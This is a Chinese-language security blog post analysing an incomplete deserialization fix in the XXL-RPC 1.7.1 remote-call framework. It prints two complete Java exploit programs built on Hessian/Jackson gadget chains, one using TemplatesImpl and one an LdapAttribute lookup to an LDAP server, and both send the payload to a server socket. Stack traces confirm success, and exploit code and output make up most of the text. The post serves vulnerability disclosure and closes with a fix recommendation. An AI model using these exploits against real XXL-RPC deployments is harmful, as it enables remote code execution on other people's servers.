xxl-rpc_1.7.1

0x01 漏洞描述

XXL-RPC是一个基于Netty和Hessian的分布式远程调用框架。Hessian是在Java应用程序中进行对象序列化和反序列化的二进制序列化协议。1.7.1对以前版本进行了修复,但是并没有修复完整,还是存在绕过。

0x02 漏洞分析

com.xxl.rpc.sample.server.conf.XxlRpcProviderConfig

image-20241208145010851

xxlrpc 配置应用程序以使用 Netty 服务器和 Hessian 反序列化器。

com.xxl.rpc.core.remoting.net.impl.netty.server.NettyServer

image-20241208145210922

NettyServer采用hessian进行请求和接收。

com.xxl.rpc.core.remoting.net.impl.netty.codec.NettyDecoder

image-20241208145354111

采用hessian进行反序列化

com.xxl.rpc.core.serialize.impl.HessianSerializer#deserialize

image-20241208145453918

这里简单设置了一下,NonSerializable的类不能进行反序列化,那么也就是我们就用可以序列化的类就可以然后这个检查。

0x02 exp 构造

查看lib,发现使用jackson的,也就是我们只需要找一个tostring去触发getter就行了。但是由于是hessian,平常使用tostring在这里使用不了(badvaule,EventListenerList等)。但是这个是spring环境,我们可以使用HotSwappableTargetSource来触发tostring。

1
2
3
4
5
Object xstring;
HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(node);
xstring = new XString(null);
HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(xstring);
HashMap map = map2equals(hotSwappableTargetSource1, hotSwappableTargetSource2);

由于项目使用的原版hessian,原版存在强制报错触发hessian来触发tostring。

1
2
3
4
5
6
HessianSerializer serializer = new HessianSerializer();
byte[] data = serializer.serialize(node);

byte[] exp = new byte[data.length + 1];
System.arraycopy(new byte[]{67}, 0, exp, 0, 1);
System.arraycopy(data, 0, exp, 1, data.length);

com.caucho.hessian.io.Hessian2Input#expect

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected IOException expect(String expect, int ch) throws IOException {
if (ch < 0) {
return this.error("expected " + expect + " at end of file");
} else {
--this._offset;

try {
int offset = this._offset;
String context = this.buildDebugContext(this._buffer, 0, this._length, offset);
Object obj = this.readObject();
return obj != null ? this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")\n " + context + "") : this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " null");
} catch (Exception var6) {
Exception e = var6;
log.log(Level.FINE, e.toString(), e);
return this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255));
}
}
}

obj直接和字符拼接,触发obj.tostring。

只需要getter的sink就行了,hessian不能反序列化transient的修饰的属性,也就是后面接tempale,或者LdapAttribute(rdn属性是transient,不能赋值)都不行。

那么我们直接使用signedObject去触发二次反序列化转成原生反序列化,这样transient就无所谓了。

1
2
3
4
5
6
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
KeyPair keyPair = keyPairGenerator.generateKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance("MD2withRSA");
signature.initSign(privateKey);
SignedObject signedObject = new SignedObject(jdkserobj, privateKey,signature );

整理一下就是第一个exp

exp1

SignedObject->Jackson->Template

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.xxl.rpc.core.serialize.impl.HessianSerializer;
import org.apache.ibatis.javassist.ClassPool;
import org.apache.ibatis.javassist.CtClass;
import org.apache.ibatis.javassist.CtConstructor;
import org.apache.ibatis.javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.DataOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.net.Socket;
import java.security.*;

public class poc {
public static void main(String[] args) throws Exception {
try {
ClassPool pool1 = ClassPool.getDefault();
CtClass jsonNode = pool1.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
jsonNode.toClass();

} catch (Exception e) {
}
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("cmd");
clazz.setSuperclass(pool.get(AbstractTranslet.class.getName()));
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"open -a Calculator\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", bytes);
setFieldValue(templates, "_name", "xx");

POJONode jsonNodes = new POJONode(makeTemplatesImplAopProxy(templates));
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", jsonNodes);

KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
KeyPair keyPair = keyPairGenerator.generateKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance("MD2withRSA");
signature.initSign(privateKey);
SignedObject signedObject = new SignedObject(val, privateKey,signature );

POJONode node = new POJONode(signedObject);

HessianSerializer serializer = new HessianSerializer();
byte[] data = serializer.serialize(node);

byte[] exp = new byte[data.length + 1];
System.arraycopy(new byte[]{67}, 0, exp, 0, 1);
System.arraycopy(data, 0, exp, 1, data.length);
serializer.deserialize(exp, Object.class);

int length = exp.length;
Socket socket = new Socket("localhost", 7080);
DataOutputStream out = new DataOutputStream(socket.getOutputStream());
out.writeInt(length);
out.write(exp);
out.flush();
socket.close();
// byte[] newArray = new byte[length + 4];
// newArray[0] = (byte) ((length >> 24) & 0xFF);
// newArray[1] = (byte) ((length >> 16) & 0xFF);
// newArray[2] = (byte) ((length >> 8) & 0xFF);
// newArray[3] = (byte) (length & 0xFF);
// System.arraycopy(exp, 0, newArray, 4, length);
// Socket socket = new Socket("127.0.01", 7080);
// OutputStream outputStream = socket.getOutputStream();
// outputStream.write(newArray);
// outputStream.flush();
// outputStream.close();

}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}

public static Object makeTemplatesImplAopProxy(Object o) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(o);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}
}

exp2

SignedObject->Jackson->LdapAttribute

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.xxl.rpc.core.serialize.impl.HessianSerializer;
import org.apache.ibatis.javassist.ClassPool;
import org.apache.ibatis.javassist.CtClass;
import org.apache.ibatis.javassist.CtMethod;
import org.springframework.aop.target.HotSwappableTargetSource;
import sun.reflect.ReflectionFactory;

import javax.management.BadAttributeValueExpException;
import javax.naming.CompositeName;
import java.io.OutputStream;
import java.lang.reflect.*;
import java.net.Socket;
import java.security.*;
import java.util.HashMap;

public class poc2 {
public static void main(String[] args) throws Exception {
try {
ClassPool pool1 = ClassPool.getDefault();
CtClass jsonNode = pool1.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
jsonNode.toClass();

} catch (Exception e) {
}

Class<?> aClass = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructors()[0];
declaredConstructor.setAccessible(true);
Object obj = declaredConstructor.newInstance("exp");
setFieldValue(obj, "baseCtxURL", "ldap://127.0.0.1:8888");
setFieldValue(obj, "rdn", new CompositeName( "a/x"));

POJONode node2 = new POJONode(obj);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node2);

KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
KeyPair keyPair = keyPairGenerator.generateKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance("MD2withRSA");
signature.initSign(privateKey);
SignedObject signedObject = new SignedObject(val, privateKey,signature );

POJONode node = new POJONode(signedObject);

Object xstring;
HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(node);
xstring = new XString(null);
HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(xstring);
HashMap map = map2equals(hotSwappableTargetSource1, hotSwappableTargetSource2);

byte[] exp;
HessianSerializer serializer = new HessianSerializer();
exp = serializer.serialize(map);

int length = exp.length;
byte[] newArray = new byte[length + 4];
newArray[0] = (byte) ((length >> 24) & 0xFF);
newArray[1] = (byte) ((length >> 16) & 0xFF);
newArray[2] = (byte) ((length >> 8) & 0xFF);
newArray[3] = (byte) (length & 0xFF);
System.arraycopy(exp, 0, newArray, 4, length);
Socket socket = new Socket("127.0.0.1", 7080);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(newArray);
outputStream.flush();
outputStream.close();

}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static HashMap<Object, Object> map2equals(Object o, Object o2) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeD;
try {
nodeD = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeD = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeDons = nodeD.getDeclaredConstructor(int.class, Object.class, Object.class, nodeD);
nodeDons.setAccessible(true);
Object tbl = Array.newInstance(nodeD, 2);
Array.set(tbl, 0, nodeDons.newInstance(0, o, "key1", null));
Array.set(tbl, 1, nodeDons.newInstance(0, o2, "key2", null));
setFieldValue(s, "table", tbl);
return s;
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes,
Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
// 可以根据提供的Class的构造器来为classToInstantiate新建对象
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
// 实现不调用原有构造器去实例化一个对象,相当于动态增加了一个构造器
Constructor<?> sc = ReflectionFactory.getReflectionFactory()
.newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}

public static Object createWithoutConstructor(String classname) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
return createWithoutConstructor(Class.forName(classname));
}

public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
}

0x03 复现

com.xxl.rpc.sample.server.XxlRpcServerApplication

直接起一个server

发送poc,成功

1
2
3
4
5
6
7
8
9
10
11
12
13
Caused by: com.xxl.rpc.core.util.XxlRpcException: com.caucho.hessian.io.HessianProtocolException: expected string at 0x43
at com.xxl.rpc.core.serialize.impl.HessianSerializer.deserialize(HessianSerializer.java:56)
at com.xxl.rpc.core.remoting.net.impl.netty.codec.NettyDecoder.decode(NettyDecoder.java:42)
at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:529)
at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:468)
... 21 common frames omitted
Caused by: com.caucho.hessian.io.HessianProtocolException: expected string at 0x43
at com.caucho.hessian.io.Hessian2Input.error(Hessian2Input.java:2926)
at com.caucho.hessian.io.Hessian2Input.expect(Hessian2Input.java:2874)
at com.caucho.hessian.io.Hessian2Input.readString(Hessian2Input.java:1407)
at com.caucho.hessian.io.Hessian2Input.readObjectDefinition(Hessian2Input.java:2163)
at com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2105)
at com.xxl.rpc.core.serialize.impl.HessianSerializer.deserialize(HessianSerializer.java:53)

poc2

生成,然后起一个ldap服务,绑定恶意ser

成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
Caused by: java.lang.RuntimeException: com.fasterxml.jackson.databind.JsonMappingException: com.fasterxml.jackson.databind.JsonMappingException: com.fasterxml.jackson.databind.JsonMappingException: (was java.lang.NullPointerException) (through reference chain: com.sun.proxy.$Proxy62["outputProperties"]) (through reference chain: com.sun.jndi.ldap.LdapAttribute["attributeSyntaxDefinition"]) (through reference chain: java.security.SignedObject["object"])
at com.fasterxml.jackson.databind.node.InternalNodeMapper.nodeToString(InternalNodeMapper.java:32)
at com.fasterxml.jackson.databind.node.BaseJsonNode.toString(BaseJsonNode.java:136)
at com.sun.org.apache.xpath.internal.objects.XString.equals(XString.java:392)
at org.springframework.aop.target.HotSwappableTargetSource.equals(HotSwappableTargetSource.java:103)
at java.util.HashMap.putVal(HashMap.java:634)
at java.util.HashMap.put(HashMap.java:611)
at com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:114)
at com.caucho.hessian.io.SerializerFactory.readMap(SerializerFactory.java:577)
at com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2093)
at com.xxl.rpc.core.serialize.impl.HessianSerializer.deserialize(HessianSerializer.java:53)
at com.xxl.rpc.core.remoting.net.impl.netty.codec.NettyDecoder.decode(NettyDecoder.java:42)
at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:529)
at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:468)
... 21 common frames omitted
Caused by: com.fasterxml.jackson.databind.JsonMappingException: com.fasterxml.jackson.databind.JsonMappingException: com.fasterxml.jackson.databind.JsonMappingException: (was java.lang.NullPointerException) (through reference chain: com.sun.proxy.$Proxy62["outputProperties"]) (through reference chain: com.sun.jndi.ldap.LdapAttribute["attributeSyntaxDefinition"]) (through reference chain: java.security.SignedObject["object"])
at com.fasterxml.jackson.databind.JsonMappingException.wrapWithPath(JsonMappingException.java:392)
at com.fasterxml.jackson.databind.JsonMappingException.wrapWithPath(JsonMappingException.java:351)
at com.fasterxml.jackson.databind.ser.std.StdSerializer.wrapAndThrow(StdSerializer.java:316)
at com.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:782)
at com.fasterxml.jackson.databind.ser.BeanSerializer.serialize(BeanSerializer.java:178)
at com.fasterxml.jackson.databind.SerializerProvider.defaultSerializeValue(SerializerProvider.java:1142)
at com.fasterxml.jackson.databind.node.POJONode.serialize(POJONode.java:115)
at com.fasterxml.jackson.databind.ser.std.SerializableSerializer.serialize(SerializableSerializer.java:39)
at com.fasterxml.jackson.databind.ser.std.SerializableSerializer.serialize(SerializableSerializer.java:20)
at com.fasterxml.jackson.databind.ser.DefaultSerializerProvider._serialize(DefaultSerializerProvider.java:480)
at com.fasterxml.jackson.databind.ser.DefaultSerializerProvider.serializeValue(DefaultSerializerProvider.java:319)
at com.fasterxml.jackson.databind.ObjectWriter$Prefetch.serialize(ObjectWriter.java:1518)
at com.fasterxml.jackson.databind.ObjectWriter._writeValueAndClose(ObjectWriter.java:1219)
at com.fasterxml.jackson.databind.ObjectWriter.writeValueAsString(ObjectWriter.java:1086)
at com.fasterxml.jackson.databind.node.InternalNodeMapper.nodeToString(InternalNodeMapper.java:30)
... 33 common frames omitted
Caused by: java.lang.RuntimeException: com.fasterxml.jackson.databind.JsonMappingException: com.fasterxml.jackson.databind.JsonMappingException: (was java.lang.NullPointerException) (through reference chain: com.sun.proxy.$Proxy62["outputProperties"]) (through reference chain: com.sun.jndi.ldap.LdapAttribute["attributeSyntaxDefinition"])
at com.fasterxml.jackson.databind.node.InternalNodeMapper.nodeToString(InternalNodeMapper.java:32)
at com.fasterxml.jackson.databind.node.BaseJsonNode.toString(BaseJsonNode.java:136)
at javax.management.BadAttributeValueExpException.readObject(BadAttributeValueExpException.java:86)
at sun.reflect.GeneratedMethodAccessor17.invoke(Unknown Source)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
at java.security.SignedObject.getObject(SignedObject.java:180)
at sun.reflect.GeneratedMethodAccessor20.invoke(Unknown Source)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at com.fasterxml.jackson.databind.ser.BeanPropertyWriter.serializeAsField(BeanPropertyWriter.java:689)
at com.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:774)
... 44 common frames omitted
Caused by: com.fasterxml.jackson.databind.JsonMappingException: com.fasterxml.jackson.databind.JsonMappingException: (was java.lang.NullPointerException) (through reference chain: com.sun.proxy.$Proxy62["outputProperties"]) (through reference chain: com.sun.jndi.ldap.LdapAttribute["attributeSyntaxDefinition"])
at com.fasterxml.jackson.databind.JsonMappingException.wrapWithPath(JsonMappingException.java:392)
at com.fasterxml.jackson.databind.JsonMappingException.wrapWithPath(JsonMappingException.java:351)
at com.fasterxml.jackson.databind.ser.std.StdSerializer.wrapAndThrow(StdSerializer.java:316)
at com.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:782)
at com.fasterxml.jackson.databind.ser.BeanSerializer.serialize(BeanSerializer.java:178)
at com.fasterxml.jackson.databind.SerializerProvider.defaultSerializeValue(SerializerProvider.java:1142)
at com.fasterxml.jackson.databind.node.POJONode.serialize(POJONode.java:115)
at com.fasterxml.jackson.databind.ser.std.SerializableSerializer.serialize(SerializableSerializer.java:39)
at com.fasterxml.jackson.databind.ser.std.SerializableSerializer.serialize(SerializableSerializer.java:20)
at com.fasterxml.jackson.databind.ser.DefaultSerializerProvider._serialize(DefaultSerializerProvider.java:480)
at com.fasterxml.jackson.databind.ser.DefaultSerializerProvider.serializeValue(DefaultSerializerProvider.java:319)
at com.fasterxml.jackson.databind.ObjectWriter$Prefetch.serialize(ObjectWriter.java:1518)
at com.fasterxml.jackson.databind.ObjectWriter._writeValueAndClose(ObjectWriter.java:1219)
at com.fasterxml.jackson.databind.ObjectWriter.writeValueAsString(ObjectWriter.java:1086)
at com.fasterxml.jackson.databind.node.InternalNodeMapper.nodeToString(InternalNodeMapper.java:30)
... 60 common frames omitted
Caused by: java.lang.RuntimeException: com.fasterxml.jackson.databind.JsonMappingException: (was java.lang.NullPointerException) (through reference chain: com.sun.proxy.$Proxy62["outputProperties"])
at com.fasterxml.jackson.databind.node.InternalNodeMapper.nodeToString(InternalNodeMapper.java:32)
at com.fasterxml.jackson.databind.node.BaseJsonNode.toString(BaseJsonNode.java:136)
at javax.management.BadAttributeValueExpException.readObject(BadAttributeValueExpException.java:86)
at sun.reflect.GeneratedMethodAccessor17.invoke(Unknown Source)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
at com.sun.jndi.ldap.Obj.deserializeObject(Obj.java:531)
at com.sun.jndi.ldap.Obj.decodeObject(Obj.java:239)
at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1051)
at com.sun.jndi.toolkit.ctx.ComponentContext.c_resolveIntermediate_nns(ComponentContext.java:168)
at com.sun.jndi.toolkit.ctx.AtomicContext.c_resolveIntermediate_nns(AtomicContext.java:359)
at com.sun.jndi.toolkit.ctx.ComponentContext.p_resolveIntermediate(ComponentContext.java:397)
at com.sun.jndi.toolkit.ctx.ComponentDirContext.p_getSchema(ComponentDirContext.java:432)
at com.sun.jndi.toolkit.ctx.PartialCompositeDirContext.getSchema(PartialCompositeDirContext.java:422)
at javax.naming.directory.InitialDirContext.getSchema(InitialDirContext.java:210)
at com.sun.jndi.ldap.LdapAttribute.getAttributeSyntaxDefinition(LdapAttribute.java:183)
at sun.reflect.GeneratedMethodAccessor24.invoke(Unknown Source)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at com.fasterxml.jackson.databind.ser.BeanPropertyWriter.serializeAsField(BeanPropertyWriter.java:689)
at com.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:774)
... 71 common frames omitted
Caused by: com.fasterxml.jackson.databind.JsonMappingException: (was java.lang.NullPointerException) (through reference chain: com.sun.proxy.$Proxy62["outputProperties"])
at com.fasterxml.jackson.databind.JsonMappingException.wrapWithPath(JsonMappingException.java:392)
at com.fasterxml.jackson.databind.JsonMappingException.wrapWithPath(JsonMappingException.java:351)
at com.fasterxml.jackson.databind.ser.std.StdSerializer.wrapAndThrow(StdSerializer.java:316)
at com.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:782)
at com.fasterxml.jackson.databind.ser.BeanSerializer.serialize(BeanSerializer.java:178)
at com.fasterxml.jackson.databind.SerializerProvider.defaultSerializeValue(SerializerProvider.java:1142)
at com.fasterxml.jackson.databind.node.POJONode.serialize(POJONode.java:115)
at com.fasterxml.jackson.databind.ser.std.SerializableSerializer.serialize(SerializableSerializer.java:39)
at com.fasterxml.jackson.databind.ser.std.SerializableSerializer.serialize(SerializableSerializer.java:20)
at com.fasterxml.jackson.databind.ser.DefaultSerializerProvider._serialize(DefaultSerializerProvider.java:480)
at com.fasterxml.jackson.databind.ser.DefaultSerializerProvider.serializeValue(DefaultSerializerProvider.java:319)
at com.fasterxml.jackson.databind.ObjectWriter$Prefetch.serialize(ObjectWriter.java:1518)
at com.fasterxml.jackson.databind.ObjectWriter._writeValueAndClose(ObjectWriter.java:1219)
at com.fasterxml.jackson.databind.ObjectWriter.writeValueAsString(ObjectWriter.java:1086)
at com.fasterxml.jackson.databind.node.InternalNodeMapper.nodeToString(InternalNodeMapper.java:30)
Caused by: java.lang.NullPointerException: null
at com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet.postInitialization(AbstractTranslet.java:372)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:456)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:507)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(AopUtils.java:344)
at org.springframework.aop.framework.JdkDynamicAopProxy.invoke(JdkDynamicAopProxy.java:234)
at com.sun.proxy.$Proxy62.getOutputProperties(Unknown Source)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at com.fasterxml.jackson.databind.ser.BeanPropertyWriter.serializeAsField(BeanPropertyWriter.java:689)
at com.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:774)

0x04 修复方式

​ 推荐采用dubbo里面的hessian,dubbo里面集成了非常多的黑名单,也修复了强制报错导致的obj.tostring。


xxl-rpc_1.7.1
https://unam4.github.io/2025/12/01/xxl-rpc-1-7-1/
作者
unam4
发布于
2025年12月1日
许可协议